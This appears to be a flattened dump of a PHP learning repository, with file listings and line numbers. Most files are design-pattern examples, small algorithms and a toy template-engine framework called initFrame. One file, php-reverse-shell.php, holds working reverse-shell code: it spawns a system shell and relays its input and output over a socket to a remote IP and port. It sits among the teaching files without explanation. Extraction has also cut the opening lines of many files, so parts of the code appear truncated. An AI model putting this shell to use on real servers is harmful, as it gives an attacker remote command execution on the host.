brankDeposit implements Delegate { 47 | /** 48 | * 存款操作 49 | * @param $info 50 | */ 51 | public function brankMain($info) { 52 | echo $info['deposit']; 53 | } 54 | } 55 | 56 | /** 57 | * 取款操作类 58 | * Class brankWithdraw 59 | */ 60 | class brankWithdraw implements Delegate { 61 | /** 62 | * 取款操作 63 | * @param $info 64 | */ 65 | public function brankMain($info) { 66 | echo $info['withdraw']; 67 | } 68 | } 69 | 70 | /* 71 | 客户端测试代码: 72 | */ 73 | $bank = new Bank(); 74 | $bank->updateBrankInfo("deposit", "4000"); 75 | $bank->updateBrankInfo("withdraw", "2000"); 76 | $bank->brankWithdraw("brankDeposit"); 77 | echo PHP_EOL; 78 | $bank->brankWithdraw("brankWithdraw"); -------------------------------------------------------------------------------- /dependInject.php: -------------------------------------------------------------------------------- 1 | storage = $storage; 16 | } 17 | } 18 | 19 | interface params { 20 | public function get($key); 21 | 22 | public function set($key,$val); 23 | } 24 | 25 | 26 | class OnlineConfig extends config implements params { 27 | 28 | /** 29 | * @param $key 30 | * @param null $default 31 | * @return null 32 | */ 33 | public function get($key, $default = null) { 34 | if (isset($this->storage[$key])) { 35 | return $this->storage[$key]; 36 | } 37 | return $default; 38 | } 39 | 40 | /** 41 | * @param $key 42 | * @param $value 43 | */ 44 | public function set($key, $value) { 45 | $this->storage[$key] = $value; 46 | } 47 | } 48 | 49 | 50 | class Connect{ 51 | protected $config; 52 | protected $host; 53 | public function __construct(params $config) { 54 | $this->config = $config; 55 | } 56 | 57 | public function conn(){ 58 | $host = $this->config->get('host'); 59 | echo 'connect to host:'.$host.PHP_EOL; 60 | $port = $this->config->get('port'); 61 | echo 'connect to port:'.$port; 62 | //if connn success 63 | $this->host = $host; 64 | } 65 | 66 | public function getHost(){ 67 | $this->host; 68 | } 69 | } 70 | 71 | $configArr = ['host'=>'127.0.0.1']; 72 | $onlineConfig = new OnlineConfig($configArr); 73 | echo $onlineConfig->get('host').PHP_EOL; 74 | $onlineConfig->set('port','3306'); 75 | 76 | $connObj = new Connect($onlineConfig); 77 | $connObj->conn(); 78 | -------------------------------------------------------------------------------- /dutylist.php: -------------------------------------------------------------------------------- 1 | successor; 24 | } 25 | 26 | public function setSuccessor($successorObj) { 27 | $this->successor = $successorObj; 28 | } 29 | } 30 | 31 | 32 | /** 33 | * 具体处理者角色 34 | * Class HandleRole 35 | */ 36 | class HandleRole extends Handle { 37 | public function handleRequest() { 38 | if ($this->successor !== null) { 39 | echo "放过请求,将请求转发给后继的责任对象!" . PHP_EOL; 40 | $this->getSuccessor()->handleRequest(); 41 | } else { 42 | echo "处理请求,处理过程省略..." . PHP_EOL; 43 | } 44 | } 45 | 46 | } 47 | 48 | $handleOne = new HandleRole(); 49 | $handleTwo = new HandleRole(); 50 | $handleOne->setSuccessor($handleTwo); 51 | 52 | $handleOne->handleRequest(); -------------------------------------------------------------------------------- /facade.php: -------------------------------------------------------------------------------- 1 | os = $os; 44 | $this->bios = $bios; 45 | } 46 | 47 | /** 48 | * turn on system 49 | */ 50 | public function turnOn(){ 51 | $this->bios->execute(); 52 | $this->bios->waitForKeyPress(); 53 | $this->bios->launch(); 54 | } 55 | 56 | /** 57 | * shutdown system 58 | */ 59 | public function turnOff(){ 60 | $this->os->halt(); 61 | $this->bios->powerDown(); 62 | } 63 | } 64 | 65 | $obj = new Facade(new Bios(),new Os()); 66 | $obj->turnOn(); 67 | $obj->turnOff(); -------------------------------------------------------------------------------- /factory.php: -------------------------------------------------------------------------------- 1 | a + $this->b; 39 | } 40 | } 41 | 42 | /** 43 | * 减法 44 | * Class subOperate 45 | */ 46 | class subOperate extends operate{ 47 | public function getRes(){ 48 | return $this->a - $this->b; 49 | } 50 | } 51 | 52 | /** 53 | * 操作类 54 | * Class operate 55 | */ 56 | abstract class operate{ 57 | public $a; 58 | public $b; 59 | public function setA($num){ 60 | $this->a = $num; 61 | } 62 | 63 | public function getA(){ 64 | $this->a; 65 | } 66 | 67 | public function setB($num){ 68 | $this->b=$num; 69 | } 70 | 71 | public function getB(){ 72 | $this->b; 73 | } 74 | 75 | abstract public function getRes(); 76 | } 77 | 78 | /** 79 | * Class Client 80 | */ 81 | class Client{ 82 | public static function start(){ 83 | $add = new addFactory(); 84 | $addObj = $add->createOperate(); 85 | $addObj->setA(10); 86 | $addObj->setB(12); 87 | echo $addObj->getRes(); 88 | 89 | echo PHP_EOL; 90 | 91 | $sub = new subFactory(); 92 | $subObj = $sub->createOperate(); 93 | $subObj->setA(30); 94 | $subObj->setB(15); 95 | echo $subObj->getRes(); 96 | } 97 | } 98 | 99 | Client::start(); -------------------------------------------------------------------------------- /findMaxStr.php: -------------------------------------------------------------------------------- 1 | $arr[0], 'cnt' => 1]; 16 | for ($i = 1; $i < count($arr); $i++) { 17 | if (isset($tmp[$arr[$i]])) { 18 | if ($arr[$i] != $arr[$i - 1]) { 19 | $tmp[$arr[$i]] = 1; 20 | if ($tmp[$arr[$i - 1]] != $max['cnt']) { 21 | unset($tmp[$arr[$i - 1]]); 22 | } 23 | } 24 | $tmp[$arr[$i]] = $tmp[$arr[$i]] + 1; 25 | if ($tmp[$arr[$i]] > $max['cnt']) { 26 | $max['str'] = $arr[$i]; 27 | $max['cnt'] = $tmp[$arr[$i]]; 28 | } 29 | } else { 30 | $tmp[$arr[$i]] = 1; 31 | } 32 | } 33 | 34 | echo 'Max Str Info:'.PHP_EOL; 35 | var_export($max); 36 | 37 | 38 | -------------------------------------------------------------------------------- /fluent.php: -------------------------------------------------------------------------------- 1 | field=$selectFiled; 21 | return $this; 22 | } 23 | 24 | public function from($table,$alias){ 25 | $this->from[]=$table .' as '.$alias; 26 | return $this; 27 | } 28 | 29 | public function where($condition){ 30 | $this->where[]=$condition; 31 | return $this; 32 | } 33 | 34 | public function getQuery(){ 35 | return 'select ' . implode(',', $this->field) . ' from ' . implode(',', 36 | $this->from) . ' where ' . implode(' and ', $this->where); 37 | } 38 | 39 | } 40 | 41 | $obj = new SqlBuilder(); 42 | $obj->select(['name','age'])->from('userTable','user')->where('id=1'); 43 | echo $obj->getQuery(); -------------------------------------------------------------------------------- /initFrame/README.md: -------------------------------------------------------------------------------- 1 | ### initFrame 一个php框架 2 | ``` 3 | 自学php的时候在网上翻阅了大量资料,参考前人的思想最终形成的一个低级别的php框架,有很多实现不合理的地方,跟现有的流行框架没法比, 4 | 仅当做学习使用。后来想了下,应该叫模板引擎更为合理吧? 这个代码已经很老了,push上来,作为学习过程的一个记录吧。 5 | 6 | 关于框架的执行流程: 7 | 在WooYun还没有关闭前我提交了最后一个ThinkPHP框架漏洞,ThinkPHP官方在1~2天内便修复了,WooYun关闭以后发现文 8 | 章已经找不到了。在此之前就已经有人对ci,yii之类的frame做过分析,那篇文章详细分析了漏洞的成因也详细叙述了框架的大致执行过程, 9 | 我认为思想适用于所有框架。99%的PHP框架都是MVC吧.~~~~ 10 | 11 | initFrame实现了那些功能? 12 | 1,非常简单的MVC 13 | 2,自解析的模板引擎(自解析:变量,数组,if,for,注释,等模板语法) 14 | 3,支持缓存 15 | ``` 16 | 17 | ``` 18 | view加载模板文件过程 19 | 核心解析类文件有(实现了模板引擎的功能): 20 | initFrame/includes/Parse.class.php 21 | initFrame/includes/Template.class.php 22 | 23 | 1,首先通过解析类解析tpl模板文件,其实就是通过一系列的正则匹配替换tpl文件中的一些定义字符为php语法,生成可执行的php文件,这里 24 | 叫做编译文件 25 | 26 | 2,编译文件生成后,也就是纯php文件,php解析器开始解析这个纯php文件并生成纯静态文件(当缓存开启) 27 | 28 | 3,当修改了index.tpl模板文件,程序会把index.tpl文件的最后修改时间(t1)与index.tpl.php文件的最后修改时间(t2)进行比较, 29 | 当t1>t2,那么重新生成index.tpl.php文件和index.tpl.html文件 30 | 31 | 4,如果开启了缓存,那么直接加载缓存后的html文件,即cache目录中的静态文件 32 | 33 | 执行过程图: 34 | ``` 35 | ![](https://github.com/LockGit/initFrame/blob/master/doc/initFrame.png) 36 | 37 | ### 测试 38 | ``` 39 | -------start------ 40 | //引入模板inc文件 41 | require 'includes/template.inc.php'; 42 | global $_tpl; 43 | // $_tpl->assign('name','lock'); 44 | // $_tpl->display('index.tpl'); 45 | $arr=array(1,2,3,4,5,6,7); 46 | 47 | // 赋值单一变量 48 | $_tpl->assign('name','Lock'); 49 | $_tpl->assign('num',5<4); 50 | // 赋值一个数组 51 | $_tpl->assign('arr',$arr); 52 | $_tpl->display('index.tpl'); 53 | -------end------ 54 | 55 | cd initFrame && php -S 0:8888 56 | 57 | 访问:http://127.0.0.1:8888/index.php 58 | ``` 59 | ``` 60 | 响应: 61 | index.tpl文件 62 | 63 | 首页 64 | 音乐 65 | 歌曲 66 | 舞蹈 67 | hello 68 | 由系统变量设置的分页:15 69 | 70 | $name的值:Lock 71 | 设置if语句 72 | 73 | No 74 | 设置Foreach语句 75 | 76 | 0 => 1 77 | 1 => 2 78 | 2 => 3 79 | 3 => 4 80 | 4 => 5 81 | 5 => 6 82 | 6 => 7 83 | 文件引入:mmaaabbcc456123xzhes 84 | ``` 85 | ``` 86 | 访问:http://127.0.0.1:8888/test.php 87 | 响应: 88 | test.tpl文件 89 | 90 | test val is :hello world 91 | 92 | name is: Lock 93 | 94 | ``` -------------------------------------------------------------------------------- /initFrame/action/Action.class.php: -------------------------------------------------------------------------------- 1 | _tpl=$_tpl; 17 | $this->_model=$_model; 18 | } 19 | // 分页 20 | // protected function page($_total,$pagesize=PAGE_SIZE){ 21 | // $_page = new Page($_total,$pagesize); 22 | // $this->_model->limit = $_page->limit; 23 | // $this->_tpl->assign('page',$_page->pageshow()); 24 | // // 添加顺序编号 25 | // $this->_tpl->assign('now_num',($_page->page-1)*$pagesize); 26 | // } 27 | } 28 | -------------------------------------------------------------------------------- /initFrame/action/TestAction.class.php: -------------------------------------------------------------------------------- 1 | test(); 15 | } 16 | 17 | private function test(){ 18 | $test = 'hello world'; 19 | $this->_tpl->assign('test',$test); 20 | } 21 | 22 | } -------------------------------------------------------------------------------- /initFrame/cache/1d7c7a527b6335cc7a623305ca940e1findex.tpl.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | a initFrame for php 6 | 7 | 8 |

index.tpl文件

9 |
10 | 17 |
18 |

由系统变量设置的分页:15

19 | $name的值:Lock
20 |

设置if语句

21 | No 22 |
23 |
24 |

设置Foreach语句

25 | 0 => 1
26 | 1 => 2
27 | 2 => 3
28 | 3 => 4
29 | 4 => 5
30 | 5 => 6
31 | 6 => 7
32 |
33 |

文件引入:mmaaabbcc456123xzhes

34 | 35 | -------------------------------------------------------------------------------- /initFrame/cache/f4edc3e7d90fc7c3f919d60aee1bb7d4test.tpl.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | a initFrame for php 6 | 7 | 8 |

test.tpl文件

9 |

test val is :hello world

10 |

name is: Lock

11 | 12 | -------------------------------------------------------------------------------- /initFrame/config/config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | webname 5 | a initFrame for php 6 | 7 | 8 | 9 | pagesize 10 | 15 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /initFrame/config/profile.inc.php: -------------------------------------------------------------------------------- 1 | tpl_data=file_get_contents($tplfile)){ 8 | // $this->compile($tplfile); 9 | exit('ERROR:Paser类读取编译文件失败!'); 10 | } 11 | } 12 | 13 | // 解析普通变量 14 | private function parVar(){ 15 | // $name替换成php代码 16 | $pattern='/\{\$([\w]+)\}/'; 17 | if(preg_match($pattern, $this->tpl_data)){ 18 | // 如果查找到了,则替换 19 | $this->tpl_data=preg_replace($pattern, "_vars['$1']; ?>", $this->tpl_data); 20 | } 21 | } 22 | // 解析系统变量 23 | private function parConfig(){ 24 | $pattern='//'; 25 | if(preg_match($pattern, $this->tpl_data)){ 26 | // 如果查找到了设置了系统变量 27 | $this->tpl_data=preg_replace($pattern, "_config['$1']; ?>", $this->tpl_data); 28 | } 29 | } 30 | // 解析if语句 31 | private function parIf(){ 32 | $pattern='/\{if\s+\$([\w]+)\}/'; 33 | $patternEndif='/\{\/if\}/'; 34 | $patternElse='/\{else\}/'; 35 | // 匹配时if必须要有结束语句 36 | if(preg_match($pattern, $this->tpl_data) && preg_match($patternEndif, $this->tpl_data)){ 37 | // 替换开始的if 38 | $this->tpl_data=preg_replace($pattern, "_vars['$1']){ ?>", $this->tpl_data); 39 | // 替换结尾的if 40 | $this->tpl_data=preg_replace($patternEndif, "", $this->tpl_data); 41 | // 如果匹配到了else 42 | if(preg_match($patternElse, $this->tpl_data)){ 43 | $this->tpl_data=preg_replace($patternElse, "", $this->tpl_data); 44 | } 45 | } 46 | } 47 | // 解析foreach语句 48 | private function parForeach(){ 49 | $pattern='/\{foreach\s\$([\w]+)\(([\w]+),([\w]+)\)\}/'; 50 | $patternEndforeach='/\{\/foreach\}/'; 51 | $patternContent='/\{@([\w]+)\}/'; 52 | if(preg_match($pattern, $this->tpl_data) && preg_match($patternEndforeach,$this->tpl_data)){ 53 | // 替换开始处的foreach 54 | $this->tpl_data=preg_replace($pattern, "_vars['$1'] as \$$2=>\$$3){ ?>", $this->tpl_data); 55 | // 替换结尾处的foreach 56 | $this->tpl_data=preg_replace($patternEndforeach, "", $this->tpl_data); 57 | // 替换foreach循环中的内容 58 | $this->tpl_data=preg_replace($patternContent, "", $this->tpl_data); 59 | } 60 | } 61 | // 解析include语句 62 | private function parInclude(){ 63 | $pattern='/\{include\s+file=\"([\w\.\-]+)\"\}/'; 64 | if(preg_match($pattern, $this->tpl_data,$match)){ 65 | // 如果匹配到了,检查引入的文件是否存在,并且是否为空 66 | if(!file_exists($match[1])||empty($match)){ 67 | exit('ERROR:引入文件不存在!'); 68 | } 69 | // 替换为php代码 70 | $this->tpl_data=preg_replace($pattern, "", $this->tpl_data); 71 | } 72 | } 73 | // 解析PHP代码注释 74 | private function parPHP(){ 75 | $pattern='/\{#\}(.*)\{#\}/'; 76 | if(preg_match($pattern, $this->tpl_data)){ 77 | // 解析PHP的注释代码,缓存文件中不会存在,只会存在编译.php文件中 78 | $this->tpl_data=preg_replace($pattern, "", $this->tpl_data); 79 | } 80 | } 81 | 82 | //有一个公共方法用于调用 83 | public function compile($filename){ 84 | // 生成编译文件之前替换{$name}为PHP代码 85 | $this->parVar(); 86 | $this->parConfig(); 87 | $this->parIf(); 88 | $this->parForeach(); 89 | $this->parInclude(); 90 | $this->parPHP(); 91 | // 生成编译文件 92 | if(!file_put_contents($filename,$this->tpl_data)){ 93 | exit($filename.'编译模板文件时出错'); 94 | } 95 | 96 | } 97 | 98 | 99 | } 100 | 101 | ?> -------------------------------------------------------------------------------- /initFrame/includes/Template.class.php: -------------------------------------------------------------------------------- 1 | xpath('/root/taglib'); 24 | foreach($tagli as $v){ 25 | $key=$v->name; 26 | $this->_config["$key"]=$v->value; 27 | } 28 | 29 | } 30 | 31 | // 注入变量 32 | public function assign($var,$value){ 33 | if(isset($var)&&!empty($var)){ 34 | //$this->_vars['name']='Lock'; 35 | $this->_vars[$var]=$value; 36 | }else{ 37 | exit('Error:请赋值模板变量!'); 38 | } 39 | } 40 | 41 | 42 | //display方法用于显示模板 43 | public function display($tpl){ 44 | // 首先判断模板文件是否存在 45 | $tplfile=TPL_DIR.$tpl; 46 | //判断传过来的模板文件是否存在 47 | if(!file_exists($tplfile)){ 48 | exit($tplfile.'模板文件不存在!'); 49 | } 50 | 51 | // 定义编译文件和缓存文件名称 52 | $compilefile=TPL_C_DIR.md5($tpl).$tpl.'.php'; 53 | $cachefile=CACHE.md5($tpl).$tpl.'.html'; 54 | 55 | //当第二次运行相同文件的时候,直接载入缓存文件,避开编译 56 | if(IS_CACHE){ 57 | // 缓存文件与编译文件都要存在 58 | if(file_exists($cachefile)&&file_exists($compilefile)){ 59 | //判断缓存与编译文件是否修改过 60 | if(filemtime($compilefile)>=filemtime($tplfile)&&filemtime($cachefile)>=filemtime($compilefile)){ 61 | // 载入缓存文件 62 | include $cachefile; 63 | // 执行到这里就终止 64 | return; 65 | } 66 | } 67 | } 68 | 69 | // 当编译文件不存在或者模板文件修改过,则生成编译文件 70 | if(!file_exists($compilefile)||filemtime($compilefile)compile($compilefile); 76 | } 77 | // 引入编译文件输出至浏览器 78 | include $compilefile; 79 | 80 | // 判断是否开启了缓冲区,会清除浏览器输出的内容,使用缓存的静态html文件 81 | if(IS_CACHE){ 82 | // 如果开启了缓冲区,就创建缓存文件 83 | file_put_contents($cachefile, ob_get_contents()); 84 | //清除缓冲区(清除了编译文件加载的内容) 85 | ob_end_clean(); 86 | //引入静态缓存文件 87 | include $cachefile; 88 | } 89 | 90 | } 91 | 92 | 93 | 94 | 95 | } 96 | 97 | ?> -------------------------------------------------------------------------------- /initFrame/includes/cache.inc.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /initFrame/index.php: -------------------------------------------------------------------------------- 1 | assign('name','lock'); 13 | // $_tpl->display('index.tpl'); 14 | $arr=array(1,2,3,4,5,6,7); 15 | 16 | // 赋值单一变量 17 | $_tpl->assign('name','Lock'); 18 | $_tpl->assign('num',5<4); 19 | // 赋值一个数组 20 | $_tpl->assign('arr',$arr); 21 | $_tpl->display('index.tpl'); 22 | 23 | ?> -------------------------------------------------------------------------------- /initFrame/templates/index.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | <!--webname--> 6 | 7 | 8 |

index.tpl文件

9 |
10 |
    11 |
  • 首页
  • 12 |
  • 音乐
  • 13 |
  • 歌曲
  • 14 |
  • 舞蹈
  • 15 |
  • hello
  • 16 |
17 |
18 |

由系统变量设置的分页:

19 | $name的值:{$name} 20 |
21 |

设置if语句

22 | {if $num} 23 | Yes 24 | {else} 25 | No 26 | {/if} 27 |
28 |
29 |

设置Foreach语句

30 | {foreach $arr(key,value)} 31 | {@key} => {@value}
32 | {/foreach} 33 |
34 |

文件引入:{include file="test.php"}

35 | {#}我是PHP中的注释,在静态中是看不到的,只有在PHP源代码才可以看到{#} 36 | 37 | -------------------------------------------------------------------------------- /initFrame/templates/test.tpl: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | a initFrame for php 6 | 7 | 8 |

test.tpl文件

9 |

test val is :{$test}

10 |

name is: {$name}

11 | 12 | -------------------------------------------------------------------------------- /initFrame/templates_c/1d7c7a527b6335cc7a623305ca940e1findex.tpl.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | <?php echo $this->_config['webname']; ?> 6 | 7 | 8 |

index.tpl文件

9 |
10 |
    11 |
  • 首页
  • 12 |
  • 音乐
  • 13 |
  • 歌曲
  • 14 |
  • 舞蹈
  • 15 |
  • hello
  • 16 |
17 |
18 |

由系统变量设置的分页:_config['pagesize']; ?>

19 | $name的值:_vars['name']; ?> 20 |
21 |

设置if语句

22 | _vars['num']){ ?> 23 | Yes 24 | 25 | No 26 | 27 |
28 |
29 |

设置Foreach语句

30 | _vars['arr'] as $key=>$value){ ?> 31 | =>
32 | 33 |
34 |

文件引入:

35 | 36 | 37 | -------------------------------------------------------------------------------- /initFrame/templates_c/f4edc3e7d90fc7c3f919d60aee1bb7d4test.tpl.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | a initFrame for php 6 | 7 | 8 |

test.tpl文件

9 |

test val is :_vars['test']; ?>

10 |

name is: _vars['name']; ?>

11 | 12 | -------------------------------------------------------------------------------- /initFrame/test.php: -------------------------------------------------------------------------------- 1 | _action(); 8 | 9 | 10 | $_tpl->assign('name','Lock'); 11 | $_tpl->display('test.tpl'); -------------------------------------------------------------------------------- /iterator.php: -------------------------------------------------------------------------------- 1 | data = $data; 22 | $this->posIndex = 0; 23 | } 24 | 25 | 26 | public function current() { 27 | $row = $this->data[$this->posIndex]; 28 | $row['ip'] = gethostbyname($row['url']); 29 | return $row; 30 | } 31 | 32 | public function next() { 33 | $this->posIndex++; 34 | } 35 | 36 | public function valid() { 37 | return $this->posIndex >= 0 && $this->posIndex < count($this->data); 38 | } 39 | 40 | public function key() { 41 | return $this->posIndex; 42 | 43 | } 44 | 45 | public function rewind() { 46 | $this->posIndex = 0; 47 | } 48 | 49 | } 50 | 51 | 52 | $array = array( 53 | array('url' => 'www.baidu.com'), 54 | array('url' => 'www.sina.com.cn'), 55 | array('url' => 'www.google.com'), 56 | array('url' => 'www.qq.com'), 57 | ); 58 | 59 | 60 | $coll = new SomeCollection($array); 61 | 62 | foreach ($coll as $row) { 63 | echo $row['url'], ' ', $row['ip'], PHP_EOL; 64 | } -------------------------------------------------------------------------------- /mediator.php: -------------------------------------------------------------------------------- 1 | _mediator = $mediator; 20 | } 21 | 22 | public function send($message) { 23 | $this->_mediator->send($message, $this); 24 | } 25 | 26 | abstract public function notify($message); 27 | } 28 | 29 | class Colleague1 extends Colleague { 30 | public function notify($message) { 31 | echo "Colleague1 Message is :" . $message . PHP_EOL; 32 | } 33 | } 34 | 35 | class Colleague2 extends Colleague { 36 | public function notify($message) { 37 | echo "Colleague2 Message is :" . $message . PHP_EOL; 38 | } 39 | } 40 | 41 | class ConcreteMediator extends Mediator { 42 | private $_colleague1 = null; 43 | private $_colleague2 = null; 44 | 45 | public function send($message, $colleague) { 46 | if ($colleague == $this->_colleague1) { 47 | $this->_colleague1->notify($message); 48 | } else { 49 | $this->_colleague2->notify($message); 50 | } 51 | } 52 | 53 | public function set($colleague1, $colleague2) { 54 | $this->_colleague1 = $colleague1; 55 | $this->_colleague2 = $colleague2; 56 | } 57 | } 58 | 59 | // 60 | $objMediator = new ConcreteMediator(); 61 | $objC1 = new Colleague1($objMediator); 62 | $objC2 = new Colleague2($objMediator); 63 | $objMediator->set($objC1, $objC2); 64 | $objC1->send("to c2 from c1"); 65 | $objC2->send("to c1 from c2"); -------------------------------------------------------------------------------- /memento.php: -------------------------------------------------------------------------------- 1 | state = $stateToSave; 23 | } 24 | 25 | public function getState() { 26 | return $this->state; 27 | } 28 | } 29 | 30 | 31 | /** 32 | * 发起人 33 | * Class originator 34 | */ 35 | class originator { 36 | private $state; 37 | 38 | public function setState($state){ 39 | $this->state = $state; 40 | } 41 | 42 | public function getStateAsMemento() { 43 | $state = is_object($this->state) ? clone $this->state : $this->state; 44 | return new Memento($state); 45 | } 46 | 47 | public function restoreFromMemento(Memento $memento) { 48 | $this->state = $memento->getState(); 49 | } 50 | 51 | } 52 | 53 | /** 54 | * 管理角色 55 | */ 56 | class Caretaker{ 57 | protected $history = []; 58 | 59 | public function getFromHistory($id) { 60 | return $this->history[$id]; 61 | } 62 | 63 | public function saveToHistory(Memento $state) { 64 | $this->history[] = $state; 65 | } 66 | 67 | public function runCustomLogic() { 68 | $originator = new Originator(); 69 | 70 | //设置状态为State1 71 | $originator->setState("State1"); 72 | //设置状态为State2 73 | $originator->setState("State2"); 74 | //将State2保存到Memento 75 | $this->saveToHistory($originator->getStateAsMemento()); 76 | //设置状态为State3 77 | $originator->setState("State3"); 78 | 79 | //我们可以请求多个备忘录, 然后选择其中一个进行回滚 80 | 81 | //保存State3到Memento 82 | $this->saveToHistory($originator->getStateAsMemento()); 83 | //设置状态为State4 84 | $originator->setState("State4"); 85 | 86 | $originator->restoreFromMemento($this->getFromHistory(1)); 87 | //从备忘录恢复后的状态: State3 88 | 89 | return $originator->getStateAsMemento()->getState(); 90 | } 91 | } 92 | 93 | $obj = new Caretaker(); 94 | $ret = $obj->runCustomLogic(); 95 | var_export($ret); -------------------------------------------------------------------------------- /merge_ip.php: -------------------------------------------------------------------------------- 1 | $value) { 49 | $merge_arr[]=['start'=>$key,'end'=>$value]; 50 | } 51 | $finsh_arr = []; 52 | $tmp = array_shift($merge_arr); 53 | foreach ($merge_arr as $k=>$ip_arr) { 54 | if($ip_arr['start']<$tmp['end'] && $ip_arr['end']<$tmp['end']){ 55 | continue; 56 | }elseif($ip_arr['start']<$tmp['end'] && $ip_arr['end']>$tmp['end']){ 57 | $tmp['end'] = $ip_arr['end']; 58 | }else{ 59 | $finsh_arr[]=$tmp; 60 | $tmp['start'] = $tmp['start']; 61 | if($ip_arr['start']>=$tmp['end']){ 62 | $tmp['start'] = $ip_arr['start']; 63 | } 64 | $tmp['end'] = max([$ip_arr['end'],$tmp['end']]); 65 | } 66 | } 67 | $finsh_arr[] = $tmp; 68 | $result = []; 69 | foreach ($finsh_arr as $ip_arr) { 70 | $result[]=long2ip($ip_arr['start']).'_'.long2ip($ip_arr['end']); 71 | } 72 | return implode(',',array_unique(array_filter($result))); 73 | } 74 | 75 | $d = trans_to_num($arr); 76 | $m = merge_ip($d); 77 | 78 | var_export($m); 79 | 80 | 81 | -------------------------------------------------------------------------------- /moreInstance.php: -------------------------------------------------------------------------------- 1 | logger = $log; 21 | } 22 | 23 | public function doSomething() { 24 | $this->logger->log('we are in ' . __METHOD__); 25 | } 26 | } 27 | 28 | class PrintLogger implements LoggerInterface { 29 | public function log($str) { 30 | echo $str; 31 | } 32 | } 33 | 34 | class NullLogger implements LoggerInterface { 35 | public function log($str) { 36 | // do nothing 37 | } 38 | } 39 | 40 | $service = new Service(new PrintLogger()); 41 | $service->doSomething(); 42 | 43 | $service2 = new Service(new NullLogger()); 44 | $service2->doSomething(); -------------------------------------------------------------------------------- /observer.php: -------------------------------------------------------------------------------- 1 | observer[]=$sub; 20 | } 21 | 22 | /** 23 | * 外部统一访问 24 | */ 25 | public function trigger(){ 26 | if(!empty($this->observer)){ 27 | foreach ($this->observer as $obj){ 28 | $obj->update(); 29 | } 30 | } 31 | } 32 | } 33 | 34 | /** 35 | * 观察者要实现的接口 36 | */ 37 | interface Observerable{ 38 | public function update(); 39 | } 40 | 41 | class Sub implements Observerable{ 42 | public function update(){ 43 | echo 'Sub execute update...'.PHP_EOL; 44 | } 45 | } 46 | 47 | class People implements Observerable{ 48 | public function update() { 49 | echo 'People execute update...'.PHP_EOL; 50 | } 51 | } 52 | 53 | $paperObj = new Paper(); 54 | $paperObj->register(new Sub()); 55 | $paperObj->register(new People()); 56 | $paperObj->trigger(); -------------------------------------------------------------------------------- /outsort.php: -------------------------------------------------------------------------------- 1 | 0) { 62 | foreach ($mix_arr as $value) { 63 | $save_arr[] = $value; 64 | } 65 | } 66 | break; 67 | } 68 | } 69 | 70 | return $save_arr; 71 | } 72 | 73 | 74 | $v = sort_arr($a,$b,$c,$d); 75 | var_export($v); 76 | -------------------------------------------------------------------------------- /php-reverse-shell.php: -------------------------------------------------------------------------------- 1 | array("pipe", "r"), // stdin is a pipe that the child will read from 71 | 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 72 | 2 => array("pipe", "w") // stderr is a pipe that the child will write to 73 | ); 74 | 75 | $process = proc_open($shell, $descriptorspec, $pipes); 76 | 77 | if (!is_resource($process)) { 78 | printit("ERROR: Can't spawn shell"); 79 | exit(1); 80 | } 81 | 82 | // Set everything to non-blocking 83 | // Reason: Occsionally reads will block, even though stream_select tells us they won't 84 | stream_set_blocking($pipes[0], 0); 85 | stream_set_blocking($pipes[1], 0); 86 | stream_set_blocking($pipes[2], 0); 87 | stream_set_blocking($sock, 0); 88 | 89 | printit("Successfully opened reverse shell to $ip:$port"); 90 | 91 | while (1) { 92 | // Check for end of TCP connection 93 | if (feof($sock)) { 94 | printit("ERROR: Shell connection terminated"); 95 | break; 96 | } 97 | 98 | // Check for end of STDOUT 99 | if (feof($pipes[1])) { 100 | printit("ERROR: Shell process terminated"); 101 | break; 102 | } 103 | 104 | // Wait until a command is end down $sock, or some 105 | // command output is available on STDOUT or STDERR 106 | $read_a = array($sock, $pipes[1], $pipes[2]); 107 | $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); 108 | 109 | // If we can read from the TCP socket, send 110 | // data to process's STDIN 111 | if (in_array($sock, $read_a)) { 112 | if ($debug) printit("SOCK READ"); 113 | $input = fread($sock, $chunk_size); 114 | if ($debug) printit("SOCK: $input"); 115 | fwrite($pipes[0], $input); 116 | } 117 | 118 | // If we can read from the process's STDOUT 119 | // send data down tcp connection 120 | if (in_array($pipes[1], $read_a)) { 121 | if ($debug) printit("STDOUT READ"); 122 | $input = fread($pipes[1], $chunk_size); 123 | if ($debug) printit("STDOUT: $input"); 124 | fwrite($sock, $input); 125 | } 126 | 127 | // If we can read from the process's STDERR 128 | // send data down tcp connection 129 | if (in_array($pipes[2], $read_a)) { 130 | if ($debug) printit("STDERR READ"); 131 | $input = fread($pipes[2], $chunk_size); 132 | if ($debug) printit("STDERR: $input"); 133 | fwrite($sock, $input); 134 | } 135 | } 136 | 137 | fclose($sock); 138 | fclose($pipes[0]); 139 | fclose($pipes[1]); 140 | fclose($pipes[2]); 141 | proc_close($process); 142 | 143 | // Like print, but does nothing if we've daemonised ourself 144 | // (I can't figure out how to redirect STDOUT like a proper daemon) 145 | function printit ($string) { 146 | if (!$daemon) { 147 | print "$string\n"; 148 | } 149 | } 150 | 151 | ?> 152 | 153 | 154 | 155 | -------------------------------------------------------------------------------- /pool.php: -------------------------------------------------------------------------------- 1 | id = $id; 17 | } 18 | 19 | public function getId() { 20 | return $this->id; 21 | } 22 | } 23 | 24 | class Factory { 25 | 26 | protected static $products = array(); 27 | 28 | public static function pushProduct(Product $product) { 29 | self::$products[$product->getId()] = $product; 30 | } 31 | 32 | public static function getProduct($id) { 33 | return isset(self::$products[$id]) ? self::$products[$id] : null; 34 | } 35 | 36 | public static function removeProduct($id) { 37 | if (array_key_exists($id, self::$products)) { 38 | unset(self::$products[$id]); 39 | } 40 | } 41 | } 42 | 43 | 44 | Factory::pushProduct(new Product('first')); 45 | Factory::pushProduct(new Product('second')); 46 | 47 | print_r(Factory::getProduct('first')->getId()); 48 | print_r(Factory::getProduct('second')->getId()); -------------------------------------------------------------------------------- /prototype.php: -------------------------------------------------------------------------------- 1 | font = $font; 23 | $this->size = $size; 